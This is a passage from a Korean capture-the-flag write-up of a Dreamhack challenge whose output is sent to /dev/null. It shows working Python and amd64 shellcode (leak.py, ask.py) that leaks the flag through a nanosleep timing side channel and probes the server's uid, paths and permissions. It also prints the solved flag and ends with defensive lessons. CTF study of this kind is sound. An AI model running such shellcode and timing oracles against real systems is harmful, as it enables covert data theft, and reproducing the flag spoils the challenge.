ap.add_argument('--prefix', default='', help='이미 확정된 앞부분')
args = ap.parse_args()
orc = Oracle(args.host, args.port)
n_len, dt, _ = orc.n_of(sc_len())
print(f"[*] 플래그 파일 길이 = {n_len} 바이트 ({dt*1000:.1f}ms)")
if not 5 <= n_len <= READLEN:
sys.exit(f"[-] 길이가 이상하다({n_len}) — 중단")
out = bytearray(args.prefix.encode())
for i in range(args.start, n_len):
n, dt, tries = orc.n_of(sc_byte(i))
ch = n + BIAS
out.append(ch)
print(f" [{i:3d}] {dt*1000:7.1f}ms → n={n:3d} → {chr(ch)!r} "
f"(측정 {tries}회) {bytes(out).decode(errors='replace')}")
if ch == ord('}'):
print(" '}' 를 만났다 — 여기까지가 플래그다")
break
cand = bytes(out)
print(f"\n[*] 후보({len(cand)}바이트): {cand.decode(errors='replace')}")
print("[*] 검산 — 후보 전체가 일치할 때만 길게 머무는 쉘코드")
n, dt, _ = orc.n_of(sc_verify(cand), retries=1)
if n >= 80:
print(f" {dt*1000:.1f}ms (n={n}) → 일치")
print(f"\n[+] FLAG = {cand.decode()}")
return 0
print(f" {dt*1000:.1f}ms (n={n}) → 불일치. 틀린 바이트가 있다")
return 1
if __name__ == '__main__':
sys.exit(main())python3 leak.py host3.dreamhack.games 11905
2초대는 소문자 hex, 500~800ms 대는 숫자다. 눈으로도 구간이 갈린다.
한 번에 깨끗하게 끝나지는 않았다.
▶🐛 삽질 4 — 단위 경계에 걸린 한 바이트 때문에 검산이 깨졌다
첫 수집에서 39번 바이트가 527ms 로 나왔다. 기본지연을 빼면 482ms, 단위로 나누면 16.5다.
'0'(n=16)과 '1'(n=17) 정확히 가운데다. 반올림이 17 을 골랐고, 그게 틀렸다.
검산 쉘코드는 "불일치"만 알려주지 어디가 틀렸는지는 말해 주지 않는다. 그래서 후보를 앞에서부터 잘라 가며 검산을 반복했다. 3바이트 일치, 32바이트 일치, 48바이트 불일치, 40바이트 불일치, 36·38·39바이트 일치 — 일곱 번 만에 39번으로 좁혀졌다.
대책은 두 가지를 같이 넣었다.
하나는 같은 바이트를 여러 번 재서 최솟값을 쓰는 것이다. 네트워크 지터도 스케줄링 지연도 측정을 늘리기만 하지 줄이지는 않는다. 그래서 최솟값이 참값에 가장 가깝다. 반올림 거리가 0.25 안쪽으로 또렷해지면 거기서 멈추고, 아니면 세 번까지 다시 잰다.
다른 하나는 제출 전 전체 검산이다. 후보 전체를 파일 내용과 비교해서 전부 같을 때만 길게 머무는 쉘코드를 한 번 던진다. 이게 통과하면 추측이 아니라 확인이 된다.
python3 leak.py host3.dreamhack.games 11905 --start 60 --prefix 'DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681'
68바이트 전부가 일치했다. 체류시간 한 축으로 플래그 하나를 다 읽었다.
DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681700fceb}🔎 같은 오라클로 서버 환경 읽기
이 오라클은 플래그 전용이 아니다. 레지스터에 들어가는 값이면 무엇이든 nanosleep
횟수로 바꿔 읽을 수 있다. 삽질 3의 바이너리 바꿔치기가 왜 실서버에서 안 먹었는지도
이걸로 확인했다.
▸📄 ask.py — syscall 반환값을 체류시간으로 읽는 탐침 (전문)
#!/usr/bin/env python3
"""체류시간 오라클을 '임의 값 읽기'로 일반화한 것.
플래그만 꺼내는 데 쓰는 게 아깝다 — 레지스터에 담긴 어떤 값이든
nanosleep 횟수로 바꾸면 그대로 읽을 수 있다. 여기서는 실제 서버가
내 복제본과 어디서 갈라지는지 알아보는 데 쓴다.
· readlink("/proc/self/exe") 로 내 실행 경로와 길이
· unlink() 가 실제로 돌려주는 errno
· getuid()
"""
import sys, time
from pwn import asm, context
sys.path.insert(0, __file__.rsplit('/', 1)[0])
from leak import Oracle, SLEEP_EBX, EXIT, MAXLEN # 같은 보정·측정 코드를 재사용
context.arch = 'amd64'; context.os = 'linux'
EXE_PATH = """
sub rsp, 0x400
mov rbp, rsp
lea rdi, [rip + p_exe]
mov rsi, rbp
push 0x100
pop rdx
push 89
pop rax /* SYS_readlink */
syscall
mov r13d, eax /* 경로 길이 */
mov byte ptr [rbp + rax], 0
"""
P_EXE = """
p_exe:
.ascii "/proc/self/exe\\0"
"""
def sc_uid():
"""uid 는 1000 쯤이라 그대로 재우면 30초다 — 8로 나눠 흘린다."""
return asm(" endbr64\n push 102\n pop rax\n syscall\n"
" shr eax, 3\n mov ebx, eax\n" + SLEEP_EBX + EXIT)
def sc_pathlen():
return asm(" endbr64\n" + EXE_PATH + " mov ebx, r13d\n" + SLEEP_EBX + EXIT + P_EXE)
def sc_pathbyte(i):
return asm(" endbr64\n" + EXE_PATH + f"""
movzx ebx, byte ptr [rbp + {i}]
sub ebx, 0x20
js done
""" + SLEEP_EBX + EXIT + P_EXE)
def sc_unlink_errno():
"""unlink 가 실패한 이유(errno)를 체류시간으로 흘린다. 0 이면 성공."""
return asm(" endbr64\n" + EXE_PATH + """
mov rdi, rbp
push 87
pop rax /* SYS_unlink */
syscall
neg eax /* -errno → errno */
mov ebx, eax
""" + SLEEP_EBX + EXIT + P_EXE)
def sc_access_w():
"""내 실행 파일이 있는 디렉토리에 쓰기 권한이 있나: access(dir, W_OK)."""
return asm(" endbr64\n" + EXE_PATH + """
mov rcx, r13
strip:
dec rcx
cmp byte ptr [rbp + rcx], 0x2f /* 마지막 '/' 찾기 */
jne strip
mov byte ptr [rbp + rcx], 0 /* 디렉토리 경로로 자른다 */
mov rdi, rbp
push 2
pop rsi /* W_OK */
push 21
pop rax /* SYS_access */
syscall
neg eax
mov ebx, eax
""" + SLEEP_EBX + EXIT + P_EXE)
ERRNO = {0:'성공', 1:'EPERM', 2:'ENOENT', 13:'EACCES', 21:'EISDIR', 26:'ETXTBSY', 30:'EROFS'}
H, P = sys.argv[1], int(sys.argv[2])
orc = Oracle(H, P)
n,_,_ = orc.n_of(sc_uid()); print(f"[*] getuid() = {n}")
n,_,_ = orc.n_of(sc_pathlen()); plen = n; print(f"[*] /proc/self/exe 경로 길이 = {plen}")
n,_,_ = orc.n_of(sc_unlink_errno()); print(f"[*] unlink(내 경로) → {n} ({ERRNO.get(n, '?')})")
n,_,_ = orc.n_of(sc_access_w()); print(f"[*] access(내 디렉토리, W_OK) → {n} ({ERRNO.get(n, '?')})")
path = ''
for i in range(min(plen, 48)):
n,_,_ = orc.n_of(sc_pathbyte(i))
path += chr(n + 0x20)
print(f" 경로[{i:2d}] = {chr(n+0x20)!r} {path}")
print(f"\n[*] 실행 경로 = {path}")python3 ask.py host3.dreamhack.games 11905
경로는 /home/blindsc/blindsc 로 내가 복제한 템플릿과 똑같은 배치였다. 그런데
unlink 도 디렉토리 access(W_OK) 도 EACCES 다. 실서버는 홈 디렉토리를 계정
소유로 두지 않는다. 옛 adduser 템플릿에서 그 부분만 조여 놓은 것이다.
결국 복제본과 운영본의 차이 두 가지가 각각 한 기법의 운명을 갈랐다.
| 내 복제본 | 실제 드림핵 서버 | |
|---|---|---|
| 쉘코드 실행 중 TCP 연결 | dup2 직후 끊김 (socat 이 SIGTERM) | 유지됨 |
| 홈 디렉토리 쓰기 권한 | 계정 소유 → 가능 | EACCES |
| 바이너리 바꿔치기 | 통함 (셸까지) | 막힘 |
| 체류시간 사이드채널 | 막힘 | 통함 |
복제본이 틀렸다기보다, 복제본에서만 되는 길과 운영본에서만 되는 길이 서로 어긋나 있었다. 양쪽을 다 해 보지 않았으면 둘 중 하나는 못 찾았을 것이다.
📝 결론
출력을 막는 것과 정보를 막는 것은 다르다.
이 문제는 표준 출력 세 개를 전부 /dev/null 로 돌려 "결과는 안 보여준다"고 선언한다.
실제로 바이트 단위 출력은 완전히 0이다. 그런데 프로세스가 언제 끝나는가는 막지 않았고,
그 한 축만으로 68바이트가 전부 샜다. 대역폭이 좁을 뿐 채널은 채널이다.
사이드채널의 정확도는 보정에서 나온다.
nanosleep(30ms) 가 정확히 30ms 가 아니라는 것, 그 0.3ms 가 90번 쌓이면 한 글자를
바꿀 수 있다는 것이 이번의 실제 실패 원인이었다. 단위를 상수로 박지 않고 매번 재고,
경계에 걸리면 다시 재고, 마지막에 전체를 한 번 검산하는 세 겹이 있어야 "읽었다"고 말할 수 있다.
환경을 추측하지 말고 같은 오라클로 물어보면 된다.
바이너리 바꿔치기가 왜 실패했는지는 끝까지 추측으로 남길 뻔했다. unlink 의 errno 를
체류시간으로 흘려 보니 EACCES 한 번에 끝났다. 플래그를 꺼내는 데 쓴 기법이 그대로
디버깅 도구가 된다.
방어 쪽에서 보면 — 출력 리다이렉트는 정보 유출 대책이 아니다. 신뢰할 수 없는 코드를
실행할 수밖에 없는 구조라면 fd 를 막는 게 아니라 코드가 접근할 수 있는 것 자체를
줄여야 한다. seccomp 로 open/openat 을 끊었으면 플래그를 읽는 단계에서 이미
막혔을 것이고, 타이밍 채널을 좁히려면 응답 시점을 고정하거나(연결을 즉시 끊거나)
실행 시간에 상한을 두는 쪽이 맞다. 실제로 내 복제본의 socat 배치는 — 의도한 건
아니겠지만 — 쉘코드 실행 즉시 연결을 끊어서 이 공격을 그대로 막고 있었다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…